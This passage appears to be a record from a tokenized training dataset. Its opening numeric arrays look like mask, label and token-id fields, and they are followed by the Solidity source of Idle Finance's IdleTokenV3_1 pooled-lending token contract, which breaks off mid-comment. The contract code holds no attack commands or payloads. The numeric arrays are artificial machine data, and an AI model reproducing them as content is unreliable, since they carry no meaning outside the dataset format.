0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1699,
6872,
15647,
1435,
1071,
1476,
5024,
3849,
1135,
261,
2867,
13,
288,
203,
3639,
327,
3410,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* @title: Idle Token (V3) main contract
* @summary: ERC20 that holds pooled user funds together
* Each token rapresent a share of the underlying pools
* and with each token user have the right to redeem a portion of these pools
* @author: Idle Labs Inc., idle.finance
*/
pragma solidity 0.5.16;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Detailed.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/lifecycle/Pausable.sol";
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "./interfaces/iERC20Fulcrum.sol";
import "./interfaces/ILendingProtocol.sol";
import "./interfaces/IGovToken.sol";
import "./interfaces/IIdleTokenV3_1.sol";
import "./interfaces/Comptroller.sol";
import "./interfaces/CERC20.sol";
import "./interfaces/IdleController.sol";
import "./interfaces/PriceOracle.sol";
import "./GST2ConsumerV2.sol";
contract IdleTokenV3_1 is Initializable, ERC20, ERC20Detailed, ReentrancyGuard, Ownable, Pausable, IIdleTokenV3_1, GST2ConsumerV2 {
using SafeERC20 for IERC20;
using SafeMath for uint256;
uint256 private constant ONE_18 = 10**18;
// State variables
// eg. DAI address
address public token;
// eg. iDAI address
address private iToken;
// eg. cDAI address
address private cToken;
// Idle rebalancer current implementation address
address public rebalancer;
// Address collecting underlying fees
address public feeAddress;
// Last iToken price, used to pause contract in case of a black swan event
uint256 public lastITokenPrice;
// eg. 18 for DAI
uint256 private tokenDecimals;
// Max unlent assets percentage for gas friendly swaps
uint256 public maxUnlentPerc; // 100000 == 100% -> 1000 == 1%
// Current fee on interest gained
uint256 public fee;
// eg. [cTokenAddress, iTokenAddress, ...]
address[] public allAvailableTokens;
// eg. [COMPAddress, CRVAddress, ...]
address[] public govTokens;
// last fully applied allocations (ie when all liquidity has been correctly placed)
// eg. [5000, 0, 5000, 0] for 50% in compound, 0% fulcrum, 50% aave, 0 dydx. same order of allAvailableTokens
uint256[] public lastAllocations;
// Map that saves avg idleToken price paid for each user, used to calculate earnings
mapping(address => uint256) public userAvgPrices;
// eg. cTokenAddress => IdleCompoundAddress
mapping(address => address) public protocolWrappers;
// array with last balance recorded for each gov tokens
mapping (address => uint256) public govTokensLastBalances;
// govToken -> user_address -> user_index eg. usersGovTokensIndexes[govTokens[0]][msg.sender] = 1111123;
mapping (address => mapping (address => uint256)) public usersGovTokensIndexes;
// global indices for each gov tokens used as a reference to calculate a fair share for each user
mapping (address => uint256) public govTokensIndexes;
// Map that saves amount with no fee for each user
mapping(address => uint256) private userNoFeeQty;
// variable used for avoid the call of mint and redeem in the same tx
bytes32 private _minterBlock;
// Events
event Rebalance(address _rebalancer, uint256 _amount);
event Referral(uint256 _amount, address _ref);
// ########## IdleToken V4_1 updates
// Idle governance token
address public constant IDLE = address(0x875773784Af8135eA0ef43b5a374AaD105c5D39e); // TODO update this!
// Compound governance token
address public constant COMP = address(0xc00e94Cb662C3520282E6f5717214004A7f26888);
uint256 private constant FULL_ALLOC = 100000;
// Idle distribution controller
address public constant idleController = address(0x275DA8e61ea8E02d51EDd8d0DC5c0E62b4CDB0BE); // TODO update this
// oracle used for calculating the avgAPR with gov tokens
address public oracle;
// eg cDAI -> COMP
mapping(address => address) private protocolTokenToGov;
// Whether openRebalance is enabled or not
bool public isRiskAdjusted;
// last allocations submitted by rebalancer
uint256[] private lastRebalancerAllocations;
// onlyOwner
/**
* It allows owner to modify allAvailableTokens array in case of emergency
* ie if a bug on a interest bearing token is discovered and reset protocolWrappers
* associated with those tokens.
*
* @param protocolTokens : array of protocolTokens addresses (eg [cDAI, iDAI, ...])
* @param wrappers : array of wrapper addresses (eg [IdleCompound, IdleFulcrum, ...])
* @param allocations : array of allocations
* @param keepAllocations : whether to update lastRebalancerAllocations or not
*/
function setAllAvailableTokensAndWrappers(
address[] calldata protocolTokens,
address[] calldata wrappers,
uint256[] calldata allocations,
bool keepAllocations
) external onlyOwner {
require(protocolTokens.length == wrappers.length && (allocations.length == wrappers.length || keepAllocations), "IDLE:LEN_DIFF");
for (uint256 i = 0; i < protocolTokens.length; i++) {
require(protocolTokens[i] != address(0) && wrappers[i] != address(0), "IDLE:IS_0");
protocolWrappers[protocolTokens[i]] = wrappers[i];
}
allAvailableTokens = protocolTokens;
if (keepAllocations) {
require(protocolTokens.length == allAvailableTokens.length, "IDLE:LEN_DIFF2");
return;
}
_setAllocations(allocations);
}
/**
* It allows owner to set gov tokens array
* In case of any errors gov distribution can be paused by passing an empty array
*
* @param _newGovTokens : array of governance token addresses
* @param _protocolTokens : array of interest bearing token addresses
*/
function setGovTokens(
address[] calldata _newGovTokens,
address[] calldata _protocolTokens
) external onlyOwner {
govTokens = _newGovTokens;
// Reset protocolTokenToGov mapping
for (uint256 i = 0; i < allAvailableTokens.length; i++) {
protocolTokenToGov[allAvailableTokens[i]] = address(0);
}
// set protocol token to gov token mapping
for (uint256 i = 0; i < _protocolTokens.length; i++) {
address newGov = _newGovTokens[i];
if (newGov == IDLE) { continue; }
protocolTokenToGov[_protocolTokens[i]] = _newGovTokens[i];
}
}
/**
* It allows owner to set the IdleRebalancerV3_1 address
*
* @param _rebalancer : new IdleRebalancerV3_1 address
*/
function setRebalancer(address _rebalancer)
external onlyOwner {
require(_rebalancer != address(0), "IDLE:IS_0");
rebalancer = _rebalancer;
}
/**
* It allows owner to set the fee (1000 == 10% of gained interest)
*
* @param _fee : fee amount where 100000 is 100%, max settable is 10%
*/
function setFee(uint256 _fee)
external onlyOwner {
// 100000 == 100% -> 10000 == 10%
require(_fee <= 10000, "IDLE:TOO_HIGH");
fee = _fee;
}
/**
* It allows owner to set the fee address
*
* @param _feeAddress : fee address
*/
function setFeeAddress(address _feeAddress)
external onlyOwner {
require(_feeAddress != address(0), "IDLE:IS_0");
feeAddress = _feeAddress;
}
/**
* It allows owner to set the oracle address for getting avgAPR
*
* @param _oracle : new oracle address
*/
function setOracleAddress(address _oracle)
external onlyOwner {
require(_oracle != address(0), "IDLE:IS_0");
oracle = _oracle;
}
/**
* It allows owner to set the max unlent asset percentage (1000 == 1% of unlent asset max)
*
* @param _perc : max unlent perc where 100000 is 100%
*/
function setMaxUnlentPerc(uint256 _perc)
external onlyOwner {
require(_perc <= 100000, "IDLE:TOO_HIGH");
maxUnlentPerc = _perc;
}
/**
* It allows owner to set the isRiskAdjusted flag
*
* @param _isRiskAdjusted : flag for openRebalance
*/
function setIsRiskAdjusted(bool _isRiskAdjusted)
external onlyOwner {
isRiskAdjusted = _isRiskAdjusted;
}
/**
* Used by Rebalancer to set the new allocations
*
* @param _allocations : array with allocations in percentages (100% => 100000)
*/
function setAllocations(uint256[] calldata _allocations) external {
require(msg.sender == rebalancer || msg.sender == owner(), "IDLE:!AUTH");
_setAllocations(_allocations);
}
/**
* Used by Rebalancer or in openRebalance to set the new allocations
*
* @param _allocations : array with allocations in percentages (100% => 100000)
*/
function _setAllocations(uint256[] memory _allocations) internal {
require(_allocations.length == allAvailableTokens.length, "IDLE:!EQ_LEN");
uint256 total;
for (uint256 i = 0; i < _allocations.length; i++) {
total = total.add(_allocations[i]);
lastRebalancerAllocations[i] = _allocations[i];
}
require(total == FULL_ALLOC, "IDLE:!EQ_TOT");
}
// view
/**
* Get latest allocations submitted by rebalancer
*
* @return : array of allocations ordered as allAvailableTokens
*/
function getAllocations() external view returns (uint256[] memory) {
return lastRebalancerAllocations;
}
/**
* IdleToken price calculation, in underlying
*
* @return : price in underlying token
*/
function tokenPrice()
external view
returns (uint256) {
return _tokenPrice();
}
/**
* Get APR of every ILendingProtocol
*
* @return addresses: array of token addresses
* @return aprs: array of aprs (ordered in respect to the `addresses` array)
*/
function getAPRs()
external view
returns (address[] memory addresses, uint256[] memory aprs) {
address currToken;
addresses = new address[](allAvailableTokens.length);
aprs = new uint256[](allAvailableTokens.length);
for (uint256 i = 0; i < allAvailableTokens.length; i++) {
currToken = allAvailableTokens[i];
addresses[i] = currToken;
aprs[i] = ILendingProtocol(protocolWrappers[currToken]).getAPR();
}
}
/**
* Get current avg APR of this IdleToken
*
* @return avgApr: current weighted avg apr
*/
function getAvgAPR()
external view
returns (uint256) {
return _getAvgAPR();
}
/**
* Get current avg APR of this IdleToken
*
* @return avgApr: current weighted avg apr
*/
function _getAvgAPR()
internal view
returns (uint256 avgApr) {
(, uint256[] memory amounts, uint256 total) = _getCurrentAllocations();
// IDLE gov token won't be counted here because is not in allAvailableTokens
for (uint256 i = 0; i < allAvailableTokens.length; i++) {
if (amounts[i] == 0) {
continue;
}
address protocolToken = allAvailableTokens[i];
// avgApr = avgApr.add(currApr.mul(weight).div(ONE_18))
avgApr = avgApr.add(
ILendingProtocol(protocolWrappers[protocolToken]).getAPR().mul(
amounts[i]
)
);
// Add weighted gov tokens apr
address currGov = protocolTokenToGov[protocolToken];
if (govTokens.length > 0 && currGov != address(0)) {
avgApr = avgApr.add(amounts[i].mul(getGovApr(currGov)));
}
}
avgApr = avgApr.div(total);
}
/**
* Get gov token APR
*
* @return : apr scaled to 1e18
*/
function getGovApr(address _govToken) internal view returns (uint256) {
// In case new Gov tokens will be supported this should be updated, no need to add IDLE apr
if (_govToken == COMP && cToken != address(0)) {
return PriceOracle(oracle).getCompApr(cToken, token);
}
}
/**
* ERC20 modified transferFrom that also update the avgPrice paid for the recipient and
* updates user gov idx
*
* @param sender : sender account
* @param recipient : recipient account
* @param amount : value to transfer
* @return : flag whether transfer was successful or not
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_updateUserGovIdxTransfer(sender, recipient, amount);
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, allowance(sender, msg.sender).sub(amount, "ERC20: transfer amount exceeds allowance"));
_updateUserFeeInfoTransfer(sender, recipient, amount, userAvgPrices[sender]);
return true;
}
/**
* ERC20 modified transfer that also update the avgPrice paid for the recipient and
* updates user gov idx
*
* @param recipient : recipient account
* @param amount : value to transfer
* @return : flag whether transfer was successful or not
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_updateUserGovIdxTransfer(msg.sender, recipient, amount);
_transfer(msg.sender, recipient, amount);
_updateUserFeeInfoTransfer(msg.sender, recipient, amount, userAvgPrices[msg.sender]);
return true;
}
/**
* Helper method for transfer and transferFrom, updates recipient gov indexes
*
* @param _from : sender account
* @param _to : recipient account
* @param amount : value to transfer
*/
function _updateUserGovIdxTransfer(address _from, address _to, uint256 amount) internal {
address govToken;
uint256 govTokenIdx;
uint256 sharePerTokenFrom;
uint256 shareTo;
uint256 balanceTo = balanceOf(_to);
for (uint256 i = 0; i < govTokens.length; i++) {
govToken = govTokens[i];
if (balanceTo == 0) {
usersGovTokensIndexes[govToken][_to] = usersGovTokensIndexes[govToken][_from];
continue;
}
govTokenIdx = govTokensIndexes[govToken];
// calc 1 idleToken value in gov shares for user `_from`
sharePerTokenFrom = govTokenIdx.sub(usersGovTokensIndexes[govToken][_from]);
// calc current gov shares (before transfer) for user `_to`
shareTo = balanceTo.mul(govTokenIdx.sub(usersGovTokensIndexes[govToken][_to])).div(ONE_18);
// user `_to` should have -> shareTo + (sharePerTokenFrom * amount / 1e18) = (balanceTo + amount) * (govTokenIdx - userIdx) / 1e18
// so userIdx = govTokenIdx - ((shareTo * 1e18 + (sharePerTokenFrom * amount)) / (balanceTo + amount))
usersGovTokensIndexes[govToken][_to] = govTokenIdx.sub(
shareTo.mul(ONE_18).add(sharePerTokenFrom.mul(amount)).div(
balanceTo.add(amount)
)
);
}
}
/**
* Get how many gov tokens a user is entitled to (this may not include eventual undistributed tokens)
*
* @param _usr : user address
* @return : array of amounts for each gov token
*/
function getGovTokensAmounts(address _usr) external view returns (uint256[] memory _amounts) {
address govToken;
uint256 usrBal = balanceOf(_usr);
_amounts = new uint256[](govTokens.length);
for (uint256 i = 0; i < _amounts.length; i++) {
govToken = govTokens[i];
_amounts[i] = usrBal.mul(govTokensIndexes[govToken].sub(usersGovTokensIndexes[govToken][_usr])).div(ONE_18);
}
}
// external
/**
* Used to mint IdleTokens, given an underlying amount (eg. DAI).
* This method triggers a rebalance of the pools if _skipRebalance is set to false
* NOTE: User should 'approve' _amount of tokens before calling mintIdleToken
* NOTE 2: this method can be paused
* This method use GasTokens of this contract (if present) to get a gas discount
*
* @param _amount : amount of underlying token to be lended
* @param _referral : referral address
* @return mintedTokens : amount of IdleTokens minted
*/
function mintIdleToken(uint256 _amount, bool _skipRebalance, address _referral)
external nonReentrant whenNotPaused
returns (uint256 mintedTokens) {
_minterBlock = keccak256(abi.encodePacked(tx.origin, block.number));
_redeemGovTokens(msg.sender, true);
// Get current IdleToken price
uint256 idlePrice = _tokenPrice();
// transfer tokens to this contract
IERC20(token).safeTransferFrom(msg.sender, address(this), _amount);
if (!_skipRebalance) {
// lend assets and rebalance the pool if needed
_rebalance();
}
mintedTokens = _amount.mul(ONE_18).div(idlePrice);
_mint(msg.sender, mintedTokens);
// Update avg price and/or userNoFeeQty
_updateUserFeeInfo(msg.sender, mintedTokens, idlePrice);
// Update user idx for each gov tokens
_updateUserGovIdx(msg.sender, mintedTokens);
if (_referral != address(0)) {
emit Referral(_amount, _referral);
}
}
/**
* Helper method for mintIdleToken, updates minter gov indexes
*
* @param _to : minter account
* @param _mintedTokens : number of newly minted tokens
*/
function _updateUserGovIdx(address _to, uint256 _mintedTokens) internal {
address govToken;
uint256 usrBal = balanceOf(_to);
uint256 _govIdx;
uint256 _usrIdx;
for (uint256 i = 0; i < govTokens.length; i++) {
govToken = govTokens[i];
_govIdx = govTokensIndexes[govToken];
_usrIdx = usersGovTokensIndexes[govToken][_to];
// calculate user idx
usersGovTokensIndexes[govToken][_to] = usrBal.mul(_usrIdx).add(
_mintedTokens.mul(_govIdx.sub(_usrIdx))
).div(usrBal);
}
}
/**
* Here we calc the pool share one can withdraw given the amount of IdleToken they want to burn
*
* @param _amount : amount of IdleTokens to be burned
* @return redeemedTokens : amount of underlying tokens redeemed
*/
function redeemIdleToken(uint256 _amount)
external nonReentrant
returns (uint256 redeemedTokens) {
_checkMintRedeemSameTx();
_redeemGovTokens(msg.sender, false);
uint256 price = _tokenPrice();
uint256 valueToRedeem = _amount.mul(price).div(ONE_18);
uint256 balanceUnderlying = IERC20(token).balanceOf(address(this));
uint256 idleSupply = totalSupply();
if (valueToRedeem <= balanceUnderlying) {
redeemedTokens = valueToRedeem;
} else {
address currToken;
for (uint256 i = 0; i < allAvailableTokens.length; i++) {
currToken = allAvailableTokens[i];
redeemedTokens = redeemedTokens.add(
_redeemProtocolTokens(
currToken,
// _amount * protocolPoolBalance / idleSupply
_amount.mul(IERC20(currToken).balanceOf(address(this))).div(idleSupply), // amount to redeem
address(this)
)
);
}
// Get a portion of the eventual unlent balance
redeemedTokens = redeemedTokens.add(_amount.mul(balanceUnderlying).div(idleSupply));
}
// get eventual performance fee
redeemedTokens = _getFee(_amount, redeemedTokens, price);
// burn idleTokens
_burn(msg.sender, _amount);
// send underlying minus fee to msg.sender
IERC20(token).safeTransfer(msg.sender, redeemedTokens);
}
/**
* Here we calc the pool share one can withdraw given the amount of IdleToken they want to burn
* and send interest-bearing tokens (eg. cDAI/iDAI) directly to the user.
* Underlying (eg. DAI) is not redeemed here.
*
* @param _amount : amount of IdleTokens to be burned
*/
function redeemInterestBearingTokens(uint256 _amount)
external nonReentrant {
_checkMintRedeemSameTx();
_redeemGovTokens(msg.sender, false);
uint256 idleSupply = totalSupply();
address currentToken;
for (uint256 i = 0; i < allAvailableTokens.length; i++) {
currentToken = allAvailableTokens[i];
IERC20(currentToken).safeTransfer(
msg.sender,
_amount.mul(IERC20(currentToken).balanceOf(address(this))).div(idleSupply) // amount to redeem
);
}
// Get a portion of the eventual unlent balance
IERC20(token).safeTransfer(
msg.sender,
_amount.mul(IERC20(token).balanceOf(address(this))).div(idleSupply) // amount to redeem
);
_burn(msg.sender, _amount);
}
/**
* Dynamic allocate all the pool across different lending protocols if needed, use gas refund from gasToken
*
* NOTE: this method can be paused.
* msg.sender should approve this contract to spend GST2 tokens before calling
* this method
*
* @return : whether has rebalanced or not
*/
function rebalanceWithGST()
external gasDiscountFrom(msg.sender)
returns (bool) {
return _rebalance();
}
/**
* Dynamic allocate all the pool across different lending protocols if needed,
* rebalance without params
*
* NOTE: this method can be paused
*
* @return : whether has rebalanced or not
*/
function rebalance() external returns (bool) {
return _rebalance();
}
/**
* Allow any users to set new allocations as long as the new allocation
* gives a better avg APR than before
* Allocations should be in the format [100000, 0, 0, 0, ...] where length is the same
* as lastAllocations variable and the sum of all value should be == 100000
*
* This method is not callble if this instance of IdleToken is a risk adjusted instance
* NOTE: this method can be paused
*
* @param _newAllocations : array with new allocations in percentage
* @return : whether has rebalanced or not
* @return avgApr : the new avg apr after rebalance
*/
function openRebalance(uint256[] calldata _newAllocations)
external whenNotPaused
returns (bool, uint256 avgApr) {
require(!isRiskAdjusted, "IDLE:NOT_ALLOWED");
uint256 initialAPR = _getAvgAPR();
// Validate and update rebalancer allocations
_setAllocations(_newAllocations);
bool hasRebalanced = _rebalance();
uint256 newAprAfterRebalance = _getAvgAPR();
require(newAprAfterRebalance > initialAPR, "IDLE:NOT_IMPROV");
return (hasRebalanced, newAprAfterRebalance);
}
// internal
/**
* Get current idleToken price based on net asset value and totalSupply
*
* @return price: value of 1 idleToken in underlying
*/
function _tokenPrice() internal view returns (uint256 price) {
uint256 totSupply = totalSupply();
if (totSupply == 0) {
return 10**(tokenDecimals);
}
address currToken;
uint256 totNav = IERC20(token).balanceOf(address(this)).mul(ONE_18); // eventual underlying unlent balance
for (uint256 i = 0; i < allAvailableTokens.length; i++) {
currToken = allAvailableTokens[i];
totNav = totNav.add(
// NAV = price * poolSupply
ILendingProtocol(protocolWrappers[currToken]).getPriceInToken().mul(
IERC20(currToken).balanceOf(address(this))
)
);
}
price = totNav.div(totSupply); // idleToken price in token wei
}
/**
* Dynamic allocate all the pool across different lending protocols if needed
*
* NOTE: this method can be paused
*
* @return : whether has rebalanced or not
*/
function _rebalance()
internal whenNotPaused
returns (bool) {
// check if we need to rebalance by looking at the last allocations submitted by rebalancer
uint256[] memory rebalancerLastAllocations = lastRebalancerAllocations;
bool areAllocationsEqual = rebalancerLastAllocations.length == lastAllocations.length;
if (areAllocationsEqual) {
for (uint256 i = 0; i < lastAllocations.length || !areAllocationsEqual; i++) {
if (lastAllocations[i] != rebalancerLastAllocations[i]) {
areAllocationsEqual = false;
break;
}
}
}
uint256 balance = IERC20(token).balanceOf(address(this));
uint256 maxUnlentBalance;
if (areAllocationsEqual && balance == 0) {
return false;
}
if (balance > 0) {
maxUnlentBalance = _getCurrentPoolValue().mul(maxUnlentPerc).div(FULL_ALLOC);
if (lastAllocations.length == 0) {
// set in storage
lastAllocations = rebalancerLastAllocations;
}
if (balance > maxUnlentBalance) {
// mint the difference
_mintWithAmounts(allAvailableTokens, _amountsFromAllocations(rebalancerLastAllocations, balance.sub(maxUnlentBalance)));
}
}
if (areAllocationsEqual) {
return false;
}
// Instead of redeeming everything during rebalance we redeem and mint only what needs
// to be reallocated
// get current allocations in underlying (it does not count unlent underlying)
(address[] memory tokenAddresses, uint256[] memory amounts, uint256 totalInUnderlying) = _getCurrentAllocations();
if (balance == 0 && maxUnlentPerc > 0) {
totalInUnderlying = totalInUnderlying.sub(_getCurrentPoolValue().mul(maxUnlentPerc).div(FULL_ALLOC));
}
// calculate new allocations given the total (not counting unlent balance)
uint256[] memory newAmounts = _amountsFromAllocations(rebalancerLastAllocations, totalInUnderlying);
(uint256[] memory toMintAllocations, uint256 totalToMint, bool lowLiquidity) = _redeemAllNeeded(tokenAddresses, amounts, newAmounts);
// if some protocol has liquidity that we should redeem, we do not update
// lastAllocations to force another rebalance next time
if (!lowLiquidity) {
// Update lastAllocations with rebalancerLastAllocations
delete lastAllocations;
lastAllocations = rebalancerLastAllocations;
}
// Do not count `maxUnlentPerc` from balance
if (maxUnlentBalance == 0 && maxUnlentPerc > 0) {
maxUnlentBalance = _getCurrentPoolValue().mul(maxUnlentPerc).div(FULL_ALLOC);
}
uint256 totalRedeemd = IERC20(token).balanceOf(address(this));
if (totalRedeemd <= maxUnlentBalance) {
return false;
}
// Do not mint directly using toMintAllocations check with totalRedeemd
uint256[] memory tempAllocations = new uint256[](toMintAllocations.length);
for (uint256 i = 0; i < toMintAllocations.length; i++) {
// Calc what would have been the correct allocations percentage if all was available
tempAllocations[i] = toMintAllocations[i].mul(FULL_ALLOC).div(totalToMint);
}
uint256[] memory partialAmounts = _amountsFromAllocations(tempAllocations, totalRedeemd.sub(maxUnlentBalance));
_mintWithAmounts(allAvailableTokens, partialAmounts);
emit Rebalance(msg.sender, totalInUnderlying.add(maxUnlentBalance));
return true; // hasRebalanced
}
/**
* Redeem unclaimed governance tokens and update governance global index and user index if needed
* if called during redeem it will send all gov tokens accrued by a user to the user
*
* @param _to : user address
* @param _skipRedeem : flag to choose whether to send gov tokens to user or not
*/
function _redeemGovTokens(address _to, bool _skipRedeem) internal {
if (govTokens.length == 0) {
return;
}
uint256 supply = totalSupply();
uint256 usrBal = balanceOf(_to);
address govToken;
for (uint256 i = 0; i < govTokens.length; i++) {
govToken = govTokens[i];
if (supply > 0) {
if (!_skipRedeem) {
_redeemGovTokensFromProtocol(govToken);
}
// get current gov token balance
uint256 govBal = IERC20(govToken).balanceOf(address(this));
if (govBal > 0) {
// update global index with ratio of govTokens per idleToken
govTokensIndexes[govToken] = govTokensIndexes[govToken].add(
// check how much gov tokens for each idleToken we gained since last update
govBal.sub(govTokensLastBalances[govToken]).mul(ONE_18).div(supply)
);
// update global var with current govToken balance
govTokensLastBalances[govToken] = govBal;
}
}
if (usrBal > 0) {
if (!_skipRedeem) {
uint256 usrIndex = usersGovTokensIndexes[govToken][_to];
// update current user index for this gov token
usersGovTokensIndexes[govToken][_to] = govTokensIndexes[govToken];
// check if user has accrued something
uint256 delta = govTokensIndexes[govToken].sub(usrIndex);
if (delta == 0) { continue; }
uint256 share = usrBal.mul(delta).div(ONE_18);
uint256 bal = IERC20(govToken).balanceOf(address(this));
// To avoid rounding issue
if (share > bal) {
share = bal;
}
uint256 feeDue;
// no fee for IDLE governance token
if (feeAddress != address(0) && fee > 0 && govToken != IDLE) {
feeDue = share.mul(fee).div(FULL_ALLOC);
// Transfer gov token fee to feeAddress
IERC20(govToken).safeTransfer(feeAddress, feeDue);
}
// Transfer gov token to user
IERC20(govToken).safeTransfer(_to, share.sub(feeDue));
// Update last balance
govTokensLastBalances[govToken] = IERC20(govToken).balanceOf(address(this));
}
} else {
// save current index for this gov token
usersGovTokensIndexes[govToken][_to] = govTokensIndexes[govToken];
}
}
}
/**
* Redeem a specific gov token
*
* @param _govToken : address of the gov token to redeem
*/
function _redeemGovTokensFromProtocol(address _govToken) internal {
// In case new Gov tokens will be supported this should be updated
if (_govToken == COMP || _govToken == IDLE) {
address[] memory holders = new address[](1);
address[] memory tokens = new address[](1);
holders[0] = address(this);
if (_govToken == IDLE) {
tokens[0] = address(this);
IdleController(idleController).claimIdle(holders, tokens);
return;
}
if (cToken != address(0)) {
tokens[0] = cToken;
Comptroller(CERC20(cToken).comptroller()).claimComp(holders, tokens, false, true);
}
}
}
/**
* Update userNoFeeQty of a user on transfers and eventually avg price paid for each idle token
* userAvgPrice do not consider tokens bought when there was no fee
*
* @param from : user address of the sender || address(0) on mint
* @param usr : user that should have balance update
* @param qty : new amount deposited / transferred, in idleToken
* @param price : curr idleToken price in underlying
*/
function _updateUserFeeInfoTransfer(address from, address usr, uint256 qty, uint256 price) private {
uint256 userNoFeeQtyFrom = userNoFeeQty[from];
if (userNoFeeQtyFrom >= qty) {
userNoFeeQty[from] = userNoFeeQtyFrom.sub(qty);
userNoFeeQty[usr] = userNoFeeQty[usr].add(qty);
// No avg price update needed
return;
}
// nofeeQty not counted
uint256 oldBalance = balanceOf(usr).sub(qty).sub(userNoFeeQty[usr]);
uint256 newQty = qty.sub(userNoFeeQtyFrom);
// (avgPrice * oldBalance) + (currPrice * newQty)) / totBalance
userAvgPrices[usr] = userAvgPrices[usr].mul(oldBalance).add(price.mul(newQty)).div(oldBalance.add(newQty));
// update no fee quantities
userNoFeeQty[from] = 0;
userNoFeeQty[usr] = userNoFeeQty[usr].add(userNoFeeQtyFrom);
}
/**
* Update userNoFeeQty of a user on deposits and eventually avg price paid for each idle token
* userAvgPrice do not consider tokens bought when there was no fee
*
* @param usr : user that should have balance update
* @param qty : new amount deposited / transferred, in idleToken
* @param price : curr idleToken price in underlying
*/
function _updateUserFeeInfo(address usr, uint256 qty, uint256 price) private {
if (fee == 0) { // on deposits with 0 fee
userNoFeeQty[usr] = userNoFeeQty[usr].add(qty);
return;
}
// on deposits with fee
uint256 totBalance = balanceOf(usr).sub(userNoFeeQty[usr]);
// noFeeQty should not be counted here
// (avgPrice * oldBalance) + (currPrice * newQty)) / totBalance
userAvgPrices[usr] = userAvgPrices[usr].mul(totBalance.sub(qty)).add(price.mul(qty)).div(totBalance);
}
/**
* Calculate fee and send them to feeAddress
*
* @param amount : in idleTokens
* @param redeemed : in underlying
* @param currPrice : current idleToken price
* @return : net value in underlying
*/
function _getFee(uint256 amount, uint256 redeemed, uint256 currPrice) internal returns (uint256) {
uint256 noFeeQty = userNoFeeQty[msg.sender]; // in idleTokens
bool hasEnoughNoFeeQty = noFeeQty >= amount;
if (fee == 0 || hasEnoughNoFeeQty) {
userNoFeeQty[msg.sender] = hasEnoughNoFeeQty ? noFeeQty.sub(amount) : 0;
return redeemed;
}
userNoFeeQty[msg.sender] = 0;
uint256 elegibleGains = currPrice < userAvgPrices[msg.sender] ? 0 :
amount.sub(noFeeQty).mul(currPrice.sub(userAvgPrices[msg.sender])).div(ONE_18); // in underlyings
uint256 feeDue = elegibleGains.mul(fee).div(FULL_ALLOC);
IERC20(token).safeTransfer(feeAddress, feeDue);
return redeemed.sub(feeDue);
}
/**
* Mint specific amounts of protocols tokens
*
